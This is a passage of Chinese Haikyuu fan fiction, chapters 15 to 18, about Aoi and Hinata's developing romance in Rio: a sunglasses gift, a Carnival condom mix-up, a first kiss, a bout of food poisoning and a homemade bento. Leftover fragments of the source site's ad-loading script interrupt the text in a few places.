葵心念一动——鼻托高，岂不是会更适合亚洲人的脸型？ “我可以试试吗？” 小哥撇了撇嘴，耸肩示意她随意试戴。 葵把墨镜戴上，墨镜稳稳地架在眼前，让她的视线被笼罩上了一层温暖的橙色，几乎就是这一个瞬间，让她下定决心要买下来这幅墨镜。 “多少钱？” “原价两千雷亚尔的，现在打折，不到一千雷亚尔哦，不过——这是别人退回来的，如果你想要的话，还可以再便宜一点。”小哥压低了声线，一副真的在为她考虑的样子，不知道其中有多少推销的话术。 即使是如此令人心动的折扣，一千雷亚尔，对她而言也不是一笔小数目。 可是—— 葵咬了咬牙：“我买了。” 15.第 15 章 买下来的墨镜最后却放在小鸟游葵的包里，没好意思第一时间拿出来。 葵忍不住想，总有更合适的时机吧……比如在她收到了第一笔工资之后……比如翔阳的生日……比如他打够积分开始参加什么正式的比赛…… 一个……更隆重和顺理成章的场合。 要让她诚实地说出只是在路上看见这幅墨镜就想起了日向翔阳，所以就买了下来，还是有点困难。 不想对一个人倾注和表露过于浓烈和饱满的爱意，是她的心结所在。 更何况，她一回家就被激动的翔阳围着打转，尽管他早就知道了结果，但是在看见葵的那一瞬间，还是掩饰不住自己的喜悦，高兴得摇头晃脑的。 “猪排饭或许是有点用的吧，因为我今天早上吃了之后，也收获了好运！我在室内排球场练球的时候收到了加入我们这个街区排球队的邀请哦，这个队伍超厉害，队员平均身高快一米九了，不但会出去比赛，平时还经常和葵学校的排球队约练习赛呢。” 葵不由地感慨：“真好诶，翔阳依然在坚持室内排球。” “对啊，因为要保持手感嘛，”日向似乎不太明白葵为什么会这么说，不过他很快就想起另一件事情，转移了注意力，“现在吃饭吗？我今天买了葵最喜欢的面包！” “上午这么忙，怎么想到跑去买面包的？是为了庆祝我面试通过吗？” 葵探头往餐桌上看了一眼，上面用熟悉的纸袋包着，放着一袋她最爱吃的奶酪面包。 日向理所当然地说道：“倒也不是专门为了这个啦，在知道葵面试顺利之前就买了，是因为路过看见的时候，想起了葵，就忍不住进去买了，老板还问我为什么这么久没来，最近在忙什么。” 听着日向翔阳说话，葵的手悄悄往包里探去，摸到了眼镜盒方正的轮廓。 她忍不住开口说道：“其实……我……” 日向好奇的眼神看了过来。 话都到了嘴边，却不受控制地突然变成了：“这么一想，我也确实好久没吃奶酪面包了，实话说还挺想念的，谢谢你！翔阳！” 葵放在包里的手更加用力地握紧了眼镜盒，自虐般地让棱角扎入她的手心，她几乎都能听见了塑料挤压变形发出的声响，似乎只要再做几个深呼吸，想说的话就可以吐出口，可是即使是这样，手上坚实的触感和真实的疼痛也并没有给予她太多的勇气。 日向翔阳愣了一下，马上露出了喜悦的笑容：“那真的是太好了！” 葵慢慢放松了手指，沉默地把包挂回房间，坐回餐桌上的时候，餐盘都已经摆好了。 葵已经平复好了心情，一边撕着面包，一边问：“说起来，过几天就是狂欢节了，翔阳有什么安排吗？” “欸？”翔阳亮晶晶的眼睛看了过来，“葵想和我一起去看狂欢节的表演和游行吗？佩德罗也说他要去看今年的狂欢女王和公主呢！” “不想，”葵果断地拒绝了，“我不太喜欢人过多的地方。” 嘈杂的音乐和人声，需要处理的过多信息量，会让她感到疲惫。 每到这种所有巴西人倾巢而出、游客也扎堆的时候，她宁愿一个人待在家里。 “这样啊！”橘子小狗的积极性丝毫没有受到打击，依然跃跃欲试的样子，“那我就代替葵去看好了，回来再跟葵讲遇到了什么有趣的事情，尤其是哪群一直在彩排练习的小朋友，我很期待他们的成果呢！” 这个确实值得期待，不过……也不会有什么有趣的事情，无非就是音乐啊、舞蹈啊、满目的□□啊什么的。 葵漫不经心地想着。 * 真到了狂欢节那天，日向翔阳出门回来的时候，葵正坐在地上，靠在他的床上，读着上课的材料。 门“嘭”地一下被打开，葵莫名其妙地抬头望过去，却对上了日向翔阳慌乱的目光。 他握着门把，猛地呆住了，欲盖弥彰地紧盯着地面，支支吾吾地说：“啊！葵，你，你在家啊！哦不是，我的意思是！原来你在房间啊！哈哈。” 葵眯起眼睛，盯着他那副连头顶都看得出来正在紧张，发丝都在微微颤抖的样子，心里涌上一阵不妙的预感—— 难道说，他是刚刚在狂欢节的活动上做了什么不该做的事情，所以现在心虚了？ 喝了酒晕乎乎地跟着别人走了？ 被热情的巴西人或者游客强吻了？ 看见了什么大尺度的场景？ 不对啊，葵疑惑地思考着，日向翔阳回来的这个时间还算早，一般来说，这些不堪入目的场面都发生在入夜大家喝得神志不清之后。 葵选择收起心中愈发膨胀的猜疑，直接提问他：“你怎么了？刚刚发生什么了吗？” 这一句话，让本就不知道该把眼睛往哪里放的日向翔阳瞬间红透了脸，他整个背抵着门，连手掌都紧紧贴了上去，似乎想试图把自己压缩成一块纸片，从门缝钻出去。 葵坐到了床沿上，极具压迫感的目光不放过日向翔阳每一个微妙的表情：“到底怎么了？” “没，没怎么啊！” 嘴里狡辩着，脸比头发还红的日向翔阳右手不受控制地往兜里探去，似乎想遮掩什么。 这个小动作自然也被小鸟游葵敏锐地捕捉到了。 不对劲！ 她猛地站起身，伸出手，抓住了日向的手腕，感到他立刻紧张地握紧了拳头。 为这陌生的遮掩和隐瞒，葵有些不高兴地盯着他的眼睛，缓缓把他的手抽了出来。 日向的手臂微微发抖，只在一开始发力试图抵抗了一下，看见葵眼神中的薄怒，又默默卸了力。 只是他的脸上突然露出一个空白又绝望的表情，仿佛苍白了无生气的灵魂都要从自己的嘴里钻出来。 葵更加疑惑了，她用另一只手一根根掰开他的手指，把日向的手摊开在自己的面前。 他的手心里躺着小小的一沓避孕套。 熟悉的包装，迎合狂欢节的炫彩配色，背面是葵熟悉的“禁止出售”标志。 这是巴西政府的天才想法，也算是为了宣传健康性思想和防止疾病传播，每年狂欢节，都会有工作人员在街上给大家发放大量免费的避孕套。 巴西人向来热情，容不得你拒绝，说是发放，其实几乎就是硬往你怀里塞，强迫你带走，更何况偶尔还会搭配着其他纪念品一起发放，很多人一开始并反应不过来被塞了什么东西，拿着走上好一段路，甚至回家细细一看，才发现自己被塞了避孕套。 说起来，翔阳领到的这个还算是简易版本，葵还被塞过润滑液、指套、女用安全套等款式齐全的大套装，实在是无处可放，被她收在了药箱里。 只不过…… 葵感到自己的额角跳了一下。 就这？ 一沓避孕套，就让日向翔阳害羞成了这样？ 日向还在乖乖摊着手心不敢动，人都要抖成筛子了，只能嗫嚅着说话。 “那个……葵……我一开始没注意到被塞了这个东西……刚刚看清楚之后……也不知道该丢在哪里……这个要垃圾分类吗？啊啊啊啊啊不对！我想说的是这真的是一个奇怪的人在路上塞给我的！我绝对没有什么不好的想法！我也不知道为什么会有人在街上给别人塞这个！！真的！！！” 小狗的脑袋都在“噗噗”冒烟了，葵无语地举起避孕套，想给他看看背后的“禁止出售”和“免费发放”标语。 可是避孕套刚被她拿起来，翔阳就赶紧晕乎乎、双眼朦胧地避开了视线，一副真的不是他犯错的样子。 () { $(''.inform'').remove(); $(''#content'').append('' “你看这里。”葵用手指戳了戳避孕套，外壳摩擦发出暧昧的响声，翔阳闻声一抖，眯着眼睛强迫自己看了过来。 “怎么了？”他不解地问道。 “这里写了，是政府免费发放的避孕套，你遇到的不是什么奇怪的人，是官方的志愿者或者工作人员，这里每年狂欢节都会发避孕套的，有什么奥运会一类的大型活动也会发。”葵耐心地解释。 “啊！原来是这样！”日向翔阳露出一副“得救了”的表情，长长地叹了一口气。 “但是啊……我说……”葵不紧不慢地开口，存了一些戏弄小狗的心思，“不就是一个避孕套吗？……你怎么紧张成这样……” “我是怕葵误解！！”日向小声地激烈反驳。 葵无视了他因为激动又泛上红晕的脸，慢吞吞地问道：“我说……你真的成年了吧？” 虽然不至于还像及川爱开的玩笑那样，被认为是初中生，但是他这个高中究竟读完了没有？他宣称自己是高中毕业之后，学习了大半年葡语再来的巴西，岂不是算下来和她同岁？为什么看起来不太像呢？ 葵突然也有点不确定了。 基本的性教育应该接受过了吧？避孕套是非常必要的安全措施，这点知识总该有的吧？ “葵！”日向鼓起了脸颊，但是一时也找不到什么反驳的话，只能大声喊她的名字，不准她继续往下说。 葵无辜地眨了眨眼睛。 日向敛了敛下巴，皱起了眉头，突然往前走了一步，抬眼盯着小鸟游葵看。 从这个俯视的角度看过去，小狗好像有点在生气了。 完蛋，她是不是话有点说过头了。 葵的大脑飞速运转，紧急思考要怎么圆过去，假装她刚刚只是开了一个无伤大雅的玩笑。 也就是这么一分神的瞬间，葵突然感到有双手按住了自己的肩头。 她惊讶地抬头望过去，却刚好主动接住了日向翔阳落下来的吻。 一个一触即分，快得她都来不及反应的吻。 日向紧紧按着她的肩膀，不准她移动，亲完之后，自己的头却埋得很低，不敢看她，只是大口地喘着粗气。 葵只能看着细碎的橙发随着呼吸一起一伏，怔愣地抬手摸了摸自己的嘴唇，嘴唇上传来自己手指的触感，已经不太记得刚刚是什么感觉了，并且还搞不太明白究竟发生了什么。 之前他们之间有那么多个氛围恰到好处的时候，日向都什么都没做，怎么现在突然就有勇气了？！ 低着头的日向在喘息的间隙艰难地开口，声音听起来紧张又严肃：“……我……成年了……也经济独立了……我有能力自己做决定……并且承担后果……我不是害怕和葵发生什么……我只是担心葵误会我……觉得我不尊重你……我……” 他重重地吸了几口气，一副不知道该怎么为自己辩白的样子。 葵想，小狗不会还皱着眉头吧？ 她无声地捧起他的脸，证实了自己的猜想，但是在对上了日向坚定又委屈的眼神的时候，葵突然什么话也说不出口了。 小鸟游葵只是微微凑过去，也回亲了他一口。 这次她有点反应过来了。 原来嘴唇是这样软软的，小小的，总而言之是有点陌生的触感，但是在亲上去的一瞬间除了害羞，想躲开的心情，还有一股莫名的冲动，想要一直亲下去。 和葵严谨学习感受并反复回味的好奇心态不同，日向翔阳松开了眉头，瞪大眼睛，神情又惊又喜，眼睛马上不受控制地眯了起来，只会傻乎乎地看着她笑。 但也就是一瞬间，他突然转变成了一个夹杂着痛苦、厌恶和反胃，还有点一言难尽的表情。 葵：？ 这是又怎么了？！ 16.第 16 章 “我……肚子疼……” 日向翔阳咬着牙，铁青着脸，从牙缝里憋出这么一句话。 怎么突然肚子疼了？总不能是和她亲嘴亲的吧？ 葵挑起眉毛，有些困惑地看着日向。 日向却弓下腰，哆哆嗦嗦地手扶上房门：“我……我先去一趟厕所！” 说完就飞速夺门而出，晚一步都大事不妙的样子。 葵缓缓躺回床上，默默捂住自己的脸。 ……这都什么事啊！ 不明不白的初吻，还有这么一个搞笑的后续。 她没能沉浸在自己的思绪里太久，房门不一会儿又打开了，日向看起来已经轻松了不少，手随意地搭在门把手上，正准备进门，但是在和她对上视线的一瞬间，神色倏然大变。 “我……再去一趟！” 还没进来就又溜了。 是真的肚子痛吗？还是不好意思面对她啊？ 葵狐疑地盯着房门，尝试去解读小狗的心情。 这一次回来的时候，日向明显虚弱了不少，捂着肚子，撑着门，弓着腰，蹒跚着走到床边。 葵好心地往里挪了挪，给他让了个位置出来。 日向慢慢地捂着肚子侧躺了上去，神色依然不是很好，撇着嘴，微微皱着眉头，越缩越紧，马上就要弓成一只熟透了的橘红色小虾米。 “吃坏肚子了？”葵伸手拨开他凌乱的额发。 “好像是……”橘子头苦恼地眯起眼睛回忆了一会儿，恍然大悟地说，“可能是……那个汉堡！” “什么汉堡？” “就在一个集市里面，有很多移动的小摊子，有人在卖现烤的牛排，夹在面包里做成汉堡……因为闻起来太香了，就没忍住买了一个吃。” 那多半是这个牛肉有问题，天气热，空气又潮湿，肉变质快，狂欢节人多，监管也忙不过来。 向来饮食干净自律的日向大概很久没受过这种苦了。 想着，葵的手忍不住抚上了日向的肚子，她感受到手下的薄肌在她手贴过去的一瞬间绷紧，硬得像块铁。 日向慌乱地看向她的眼睛，本就因为肠胃不适而失去血色的脸和嘴唇，显得红晕更加明显，小鸟游葵也红了脸，两颊热热的，赶紧掩饰地问道：“这样，有舒服一点吗？” 日向翔阳在床上像毛毛虫一样扭曲了几下，扯过来被子，害羞地罩住自己的脸，也盖住葵的手，只露出两双琥珀色的清澈眼睛，小声地回答：“有。” 葵生涩地加大了一点力度，僵硬地打着圈揉了两下，伴随着她的动作，日向浑身猛地一抖，开始扭扭捏捏地，手忙脚乱，像是想把被子再拉高一点，又像是想躲到什么别的地方去。 葵僵住了，有点不确定接下来要做什么，手指忍不住尴尬地蜷缩起来，顿了一下，她尝试着悄悄不动声色地抽回手。 但是她的手却被日向按住了。 他的脑袋陷在枕头里，脸朝着葵的方向，眼睛一眨一眨地：“葵，葵的手按着……好像就没，没那么难受了……” 简单的一句话，他说得磕磕绊绊的，像是自己在和自己的舌头缠斗一样。 “哦……”葵机械地把手放了回去，停留在日向的腹部，只隔了一层薄薄的t恤，她甚至可以感受到已经略带雏形的结实肌肉线条，这让她后知后觉地发现这个动作有点暧昧，红着脸不知道接下来如何是好。 “请像刚才那样，揉一揉吧。”明明说着非常不妙的话，橘子小狗却声音清朗，眼神坚定，神情天然得仿佛刚刚说的只是“请把球传给我！”一样。 “啊？哦……” 葵的手按压紧了一点，甚至恍惚地感受到了肠道蠕动发出的闷响，日向红着脸把头埋进被子里，声如蚊讷。 “对不起……” “为什么道歉？”被转移走了一点注意力，葵手上的动作自然了不少。 日向翔阳诚实地说：“其实……本来好像也没有那么难受的，忍一忍就过去了，只是在葵的身边，好像就变脆弱了一点。” 一股陌生的责任感突然涌上了小鸟游葵的心头，她抽回手，“腾”地翻身而起：“别忍！我来给你找点药！” 小鸟游跨过床上把自己裹得像毛毛虫一样的日向，去柜子里的药箱翻找了起来。 ……首先映入眼帘的，是巴西政府发放的避孕大礼包。 尴尬的回忆涌了上来，小鸟游葵的脸又红了，她努力自然地把礼包拨开，心里模糊地明白了什么。 啊！原来如此，并不是这些东西让人害羞，而是那个人让她害羞啊。 不管什么事情，只要是牵扯上了日向翔阳，好像就不太一样了。 葵悄悄侧头看了一眼躺在床上的日向翔阳，他正毫无察觉地紧捂着肚子，表情痛苦，嘴巴抿成了波浪型，明显就是并没有好转多少的样子。 葵心中像是有一个小塞子被轻轻拨开，有什么堵塞的东西瞬间畅通了，让血液流速加快，心跳也跟着加速。 可恶……这幅傻乎乎又可怜兮兮的样子，为什么也让人心动。 打住！不要再想了！ 葵快速地翻找到了胃药，丢到床上，慌不择路地拿起睡衣和浴巾就往门外跑：“你先吃药，我去洗澡了！” 温热的水打湿身体，葵的思绪慢慢放松下来，享受起了这短暂的思绪放空时光。 可惜并没有享受多久，因为她马上听见了急促的敲门声，和日向痛苦的呐喊：“葵！快开门！我想上厕所！” 葵：？！ 她手忙脚乱地关掉花洒，来不及仔细擦干身体就胡乱地往身上套着衣服，还要一边安抚门口的日向：“等下！马上！” 说着，她的小腿就撞到了干湿分离的玻璃门上，发出一声巨响，让她也发出一声痛苦的闷哼。 “葵！！你没事吧！！”敲门声更加急促了。 “没事没事！”葵雷厉风行地一把拉开厕所门，他们四目相对的瞬间，没有言语交流，默契地迅速交换了位置，动作流畅，没有发生冲撞，日向坚定的背影一往无前地奔向马桶，反而是葵在身后帮他把门拉上。 葵拽着门把手，平复着呼吸，尴尬地意识到厕所门只能从里面锁上。 走……还是不走，这是一个问题…… 佩德罗好像已经在自己房间了，为了小狗的面子着想，葵咬了咬牙，努力催眠自己什么也听不到，身体僵硬地守在了门口。 没过多久，厕所里面传来冲水声，葵拿出此生最快的速度，快速地跑回房间。 掩上门的一瞬间，她听见了厕所门把手扭动的声音，和日向疑惑的“咦？”。 还好还好，她拍了拍胸口，日向大概只是会觉得自己忘记锁门了，并且庆幸自己运气好，没有人试图在这个时候进来。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 门外沉重的脚步渐进，日向顶着一张宛如复活节岛石像的坚毅面孔进了房间，一只手捂肚子，一只手捂屁股，像个老头子，看起来凄惨又好笑。 同样也是刚刚进门的葵还没来得及摆出一副什么事都没发生的样子，正尴尬地站在房间中间，和日向四目相对。 “呜——”日向在看到她的瞬间，发出一声痛苦的长叹，重重地砸进了床里，把脸埋在自己的手臂里。 “怎么了？”葵又感到好笑，走过去揉了揉他的头。 “对不起……被葵看到这个样子……感觉……很……”小狗发出痛苦的呜咽，一副羞愤欲死的样子。 “身体不舒服不是你的错啊，下次在外面吃东西注意点就是了。”葵好声好气地安慰他，忍不住又揉了两把蓬松的头发。 橘子头侧了侧头，从手臂中抬起一条缝，琥珀色的眼睛从缝中漏了出来，悄悄观察着葵，看见她嘴角甚至还带着一点笑意，又羞愤地把头埋了进去。 “葵现在一定觉得我很逊！”日向了无生机，恹恹地说道。 葵自顾自地接着他的话说了下去：“我之前……也在翔阳面前露出过很丑陋的样子不是吗？丑陋地发着脾气，丑陋地大哭，丑陋地大吼，可是翔阳也没有觉得我是什么疯疯癫癫，控制不住情绪的人。” “因为你本来就不是啊……都是正常的情绪反应……” “不小心吃坏肚子之后，这些也都是很正常的生理反应，所以也不需要感到羞愧啊。”葵戳了戳他紧紧环抱着枕头的手臂。 不如说，她不但没有觉得日向脆弱的这一面很逊，反而是一种夹杂着心疼、好笑，又莫名对他多了一点责任感的复杂情绪。 “是这样没错啦……但是……呃啊啊，还是很不甘心！”日向苦恼地又往枕头里埋得更深了一点。 “好好睡一觉，已经吃过药了，不干净的东西大概也拉干净了，明天就会好的。”葵轻轻拍拍他的手，起身准备回到自己的床上。 “别走！” 日向翔阳的手猛地拉住了她的手臂。 葵回头看过去，日向有点急切地单手撑起身子，侧躺在床上，眼尾红红地看着她。 察觉到自己这个动作的唐突，日向的脸更红了，他躲开视线：“对……对不起……今天……实在是……感觉很难受……有葵在旁边，好像就会好一点……” 他的声音越来越低，手也默默地松开了。 在日向翔阳失望的目光中，葵抬脚走回了自己床垫旁边。 然后她抱起自己的被子和枕头，往日向的床上一丢。 在小狗难掩欣喜的目光中，她机械地铺好床，抬手关掉灯光，掩饰自己也红透了的脸颊。 “睡吧。” 没有人说话，安静下来之后，两个人都有点不平稳的呼吸在黑暗中更加明显。 “葵？” “嗯。” “还没有跟你讲我今天看的狂欢节游行呢，那帮小朋友表演得超棒！我拍了好多视频！明天给你看！你知道其中有一个敲鼓的小朋友其实是坐着轮椅的吗？开始我们以为是道具，完全没看出来，后来其他人把他簇拥在中间，我们才反应过来，全都在为他疯狂鼓掌呢……” 小狗细细碎碎地讲述着自己今天的冒险，葵轻轻握住他的手，感觉像被什么坚硬稳固的东西保护着似的，安心地闭上了双眼。 17.第 17 章 早上，葵迷迷糊糊地感觉小腿痒痒的，抬手摸了摸，突然猛地意识到自己并不是一个人睡的，她正和日向躺在一张床上，一下子就清醒过来。 身边已经没人了，向来早起的小狗可能正在准备早饭，她揉了揉眼睛，想起狂欢节的假期已经过去，今天应该是她上班的第一天。 ……还不太适应呢，这种一大早起床就要出门的日子。 可是随着她起身的动作，床尾突然传来了什么动静，她低头看过去，发现日向规规矩矩地抱着膝盖坐在地上，一脸纠结地盯着她的小腿。 怎么了？葵困惑地抬起自己的小腿看了看，发现了一块明显的淤青，大概是昨天洗澡的时候，急着穿上衣服让翔阳进来上厕所，不小心撞到了浴室里的玻璃门，那个时候留下的。 虽然淤青看起来有点吓人，倒也不疼就是了。 “……葵，疼吗？”日向内疚地看着她，看起来懊悔极了。 明明天天运动，又骑着自行车到处送外卖的日向翔阳才是身上总是青一块紫一块的人，他应该最清楚知道淤青是如果不故意用力去按的话，基本没啥痛感的吧。 不过，还有心思想这些，看来日向已经康复了。 葵放下心来，张了张嘴，在小狗皱起眉头的心疼目光中，乖乖地回复：“不疼的，好啦，没事的。” 日向又内疚地盯了好一会儿，像是要把这幅画面印刻在自己脑海中一样，过了半天才开口说道。 “葵今天要上班吧？快起来吃早餐了。” 日向对葵的生活日程一清二楚，仅仅是一个晚上过去，他好像又更加黏人了一点，亦步亦趋地跟在葵的身边，低眉顺眼的，像一只乖巧的，永不爆冲的小狗。 “我给葵做了便当，今天带到公司去吃吧。” “欸？”葵有点惊讶，原来日向起得比她想象的还要早，对她的生活关照得比她想象得还要周到。 她倒是没想到这一点，本来准备中午就在在公司楼下的咖啡馆随便买个面包或者三明治解决午饭的。 日向翔阳鼓起脸颊，明显还带着不少对昨天那个让他受苦的苍蝇摊子的愤恨，说：“还是自己做的便当比较放心。” 葵想了想，参观公司的时候，看见了公司有茶水间，里面还有冰箱和微波炉，倒是确实可以自己带午饭过去。 葵把沙拉送入口中，吞下去了才开口，说着显而易见的废话：“今天感觉好些了吗？” 这句话里面包含的关心，比起早晨起床时她那只是细致观察着日向脸色的眼神，要明显不少。 听到这句话，日向立刻原地复活，振奋地举起双臂：“完全恢复了！神清气爽！不过……早上起床感觉肚子空空的，一直在咕咕叫，所以今天要好好地补充能量！” 说着，他还往嘴里大大地送了一口食物，两颊塞得鼓鼓的，冲葵举起了大拇指，得意地表明自己真的已经完全康复了。 “悠着点，今天稍微不要让自己太辛苦了，多喝水。”葵悠悠地搜寻着处理肠胃炎的记忆，提醒他。 感觉到了葵的关心，日向翔阳幸福地冒着泡泡，用力地点头：“嗯！” 迅速地解决完早餐，葵回卧室拿包，歉意地向翔阳表示今天有点起晚了，不能收拾厨房，之后她会早起承担自己的家务的。 “没关系！”日向翔阳扬起一个明媚的笑容，递上用小猫餐布包着的饭盒，“记得带上便当！” 葵用颤抖的手指接了下来。 啊！又是小猫布，实在是太可爱了！ 不过……还是想办法买一块低调点的吧！力求不引人注目的葵默默想着。 第一天的工作还算轻松，她所要做的只是跟着部门的领导，也就是那天面试她的劳拉，开始熟悉业务和认识公司的其他同事，不知不觉就到了午饭时间。 和同组的同事们一起去茶水间吃饭，葵从公司的冰箱里取出自己的饭盒，果不其然，引起了巴西人们快活的惊呼。 完全没有办法低调啊！ “好可爱！” “在哪买的？” “这是我第一次看见这种打包方式呢！” 葵支吾着糊弄了过去，在打开饭盒的时候，尽管努力遮挡，大家还是忍不住都好奇地把头探了过来。 葵陷入了沉默。 太豪华精致了，简直就像什么完美妈妈给正在上幼儿园的孩子准备的便当范本一样。 米饭都被捏成了饭团，用五颜六色的蔬菜画出了简单又滑稽的五官，整体的搭配营养均衡，所以看起来也花花绿绿的，格外卡通，煎得薄薄的蛋皮还被取出一块切成细条，独出心裁地摆出了“加油！”的字样。 葵庆幸日向翔阳摆的是日语，这帮巴西人们看不懂。 即使是这样，这份豪华又精致的便当还是让友好的同事们都发出捧场和赞叹的惊呼。 “天啊，好漂亮！” “葵自己做的吗？”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “教教我！” “天啊，简直可以开餐厅去卖了！我一定光顾！” “不……”葵虚弱地反驳道。 是家里的狗做的。 她犹犹豫豫，字斟句酌，最后说出口的竟然是：“是……男朋友准备的。” “哇哦！！”这下同事们的欢呼更热烈了，茶水间里像水烧开了一样沸腾。 劳拉贴心地走到门边，把茶水间的门关得又紧了一点。 “肯定不是巴西人！”工位就在葵旁边的明艳美女多洛蕾丝一针见血地指出，“我男朋友恨不得顿顿都点外卖，顿顿都吃汉堡炸鸡薯条。” “这上面写的是日语吧？”走回餐桌旁边的劳拉微笑着指了指她的便当。 “……是的，他是在里约打沙滩排球的运动员。”葵埋着头，小声地承认了。 “运动员！”又是一阵艳羡的惊呼，一个小个子的卷发女生还欢快地吹了声口哨。 葵在心中无奈地呻吟，不愧是超会捧场又热情四射的巴西人。 明明她才第一天上班，大家就熟得好像认识了很久一样。 ……不过，她还蛮喜欢这帮同事的，在她眼里，也都像什么热情亲昵的小狗。 而且更加奇怪的是，在大家友好的打趣中，她的心里却涌上一阵古怪的甜蜜。 葵啊葵，她严肃地警示自己，不要变成那种让人讨厌的，总是热爱炫耀自己伴侣的样子。 ……可是，好像有点能够理解翔阳为什么总是想要向别人介绍和炫耀她了。 毕竟她的男朋友，真的很棒啊，光是获得大家的祝福，都能让她感到幸福。 感觉到自己正在被狗同化的葵甜蜜又苦恼地吃了一口饭。 唔，好吃。 * 日子逐渐步入正轨，葵和翔阳的生活都拥有了某种慢慢固定下来的节律，相处和谐得仿佛他们已经一起生活了好几年，互相亲昵的小动作也越来越频繁和自然了。 无时无刻不在躁动的里约又慢慢地变得一天天更加热闹了起来，大街小巷开始悬挂飘扬起各国的旗帜，街上总是有乐队快闪或者表演，陌生的外国面孔也逐渐多了起来，有人推着移动摊子叫卖一些带着巴西国旗配色的纪念品，餐厅的电视机除了固定在足球比赛之外，也开始穿插播放起了一些新闻报道和别的运动项目的比赛。 葵突然意识到—— 啊，似乎是里约奥运会马上就要开始了。 18.第 18 章 奥运会在里约的旱季举办，正是一年中最干热的时候，没有了平时说下就下、顺便给城市降降温的雨，连太阳都变得更烤人。 再加上来里约玩的游客猛增，公共交通工具上总是挤满了人，葵恨不得一周五天都可以居家办公。 在这样猛烈的阳光下，原来还只是像一块微焦小面包的日向翔阳，也开始变得有点像一块牛奶巧克力。 在餐桌上，葵盯着越来越可口的日向翔阳，忍不住问道：“说起来……里约奥运会已经开始了，翔阳会去见之前的队友吗？” “欸？”小狗躲开她的视线，语调中有一种刻意为之，努力装出来的轻松，“见过了，送外卖的时候刚好看到电视上在播他们的比赛，表现得都很不错呢。” 葵逐渐发现日向翔阳有什么想隐藏的事情的时候会避开脸，尤其是不希望别人看见自己心情低落的时候。 她不动声色地又吃了一口饭，小声说：“你知道我不是这个意思。” “知道，”日向垂下眼帘，不让葵看见自己的表情，“可能……比完赛之后会去见上一面吧？他们最近要比赛和练习，挺忙的。” 小狗看起来有点失落。 葵想，也是，曾经的队友都入选国家队了，而他换了项目，虽然也慢慢地步入正轨，即将开始获得积分并且参加正式的比赛，但难免会和已经加入国家队的队友产生落差感。 ……或许，他也并不是那么想见队友？或许他觉得还没有到一个可以“再见”的时机？ 还没多想，葵吃完饭后回房，终于把不知道藏起来放了多久的墨镜盒拿了出来，轻轻放在桌上。 “这个礼物……送给你，十月份的沙排比赛就要开始正式计算积分了吧？加油哦。”葵不自然地挪开视线。 “欸！”日向惊喜地用双手捧起盒子，举在胸前，眼睛里又有了光芒，“唔啊啊啊！好喜欢！好感动！谢谢葵！这个墨镜果然是给我的吗？！我之前还以为是我的生日礼物呢！结果没想到生日的时候，葵也没有拿出来——” 察觉到因为一时激动而失言，日向翔阳赶紧闭上了嘴。 “你早就看见了？”葵的表情一僵，感到了一丝尴尬。 ……明明早就准备好了礼物，却一直别扭地不好意思送出去，不知道日向会不会多想。 日向却露出了心虚的表情：“那个……葵就藏在柜子里面，前段时间想拿新的防晒出来的时候，就不小心看见了。” 葵：…… 这大概就是两个人一起住而且房间还不算大的坏处，想藏个什么东西都藏不住。 面对心虚的日向，葵先发制人：“你什么时候过的生日？” “就前两个月，葵记得吧？我第一次尝试做了拉面那天。” 好像确实有一天，日向试着用超市里最细的那一款意面做了味噌拉面，还提前一天准备了冷藏过夜，非常入味的叉烧，没想到这个东西结合的拉面味道还非常不错，之后也变成了他们经常吃的一道菜。 “怎么……没告诉我那天是你的生日？……”葵感觉有点困惑，按照她对小狗的理解，日向应该是会期待又开心地直接跟她说的。 甚至……他那天一点异样都没表现出来，仿佛就是再普通不过的一天，突发奇想地想做顿拉面而已。 翔阳皱起眉头，也有些苦恼地努力回忆着：“好像是……因为……葵那个时间在同时忙着学校期末和公司工作的事情，每天都很忙，操心的东西也很多，所以不想让葵再费心了。” ……原来在她最艰难，忙得左右支绌的时候，日向又撑了自己一把啊……让她浑然不觉地挺过了一段可能原本又要崩溃地哭上好几场的时光。 好稳的小狗支点！ “那我怎么会知道那天是你的生日！” “呜——葵这么聪明又敏锐，知道什么都不奇怪吧。” 葵抿了抿嘴，这个笨蛋。 她的目光落回到日向手中的墨镜上：“不过怎么看……这都是专门给你准备的礼物吧！” 不管是颜色、用途、还是款式…… “是啦！”日向喜滋滋地打开盒子，把墨镜从盒子里拿出来，爱不释手地把玩着，“我想，葵把墨镜暂时收起来，没有送给我，一定有自己的想法和打算，毕竟是很贵重的礼物嘛，那我就耐心等到葵觉得合适的时机就可以啦。” 葵鼓起脸颊：“话是这么说，你不会每天都会悄悄打开柜子，看一眼墨镜还在不在，我有没有送给别人吧？” 听到这句话的橘子头瞬间僵住了，低下头一言不发，手指把镜腿开开合合，好像这是什么超级有趣的玩具。 “果然有每天都在悄悄看吧？”葵往前走了一步，弯下腰直视他的眼睛。 日向翔阳的眼神飘忽，看起来已经汗流浃背，只能疯狂地眨着眼睛，努力运转着大脑想为自己找个借口。 笨蛋小狗。 葵伸手取过他手中的墨镜，在日向欣喜又期待的眼神中，直视着他的目光，帮他戴了上去。 墨镜稳稳地架了上去，固定在了一个最合适的位置。 和她想象的样子分毫不差，宽大的墨镜遮住了日向大半张脸，只露出他日渐棱角分明的下巴，琥珀色的猫眼依然能从橙色的镜片后隐约透出来，和头发的颜色看起来是如此地相称。 完美贴合亚洲人脸型的款式，高度恰好的鼻托和两侧的防沙挡板，把日向的眼睛完美地保护了起来，也显得他更加精神和专业。 比起他最近偶尔会戴的那款稍嫌沉闷的黑色墨镜，看起来要合适不少。 下次扑进沙滩里救球的时候，大概就不需要再眯起眼睛了吧？抬头看空中的排球的时候，也不会因为太阳太过于刺眼而难受了吧？…… 葵满意地打量了好几眼，往后退了几步想看看整体效果。 只见日向把嘴巴张成了“O”型，上下左右地转动着脑袋，开心地惊呼：“哇！好轻盈！戴上完全没有感觉！视线也 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 好清晰！” 走到两步开外的小鸟游葵又没忍住走了回去，伸手揉了揉他毛茸茸的橙色头发。 日向翔阳举起手按住了她的手腕，抬起下巴，眼神中的激动不已还没褪去，亮晶晶地看着她。 真的好像一块软硬适中的可爱巧克力，尝一口应该也是甜甜的吧？ 葵迅速低头亲了一口日向还在因为喜悦而微张的嘴唇。 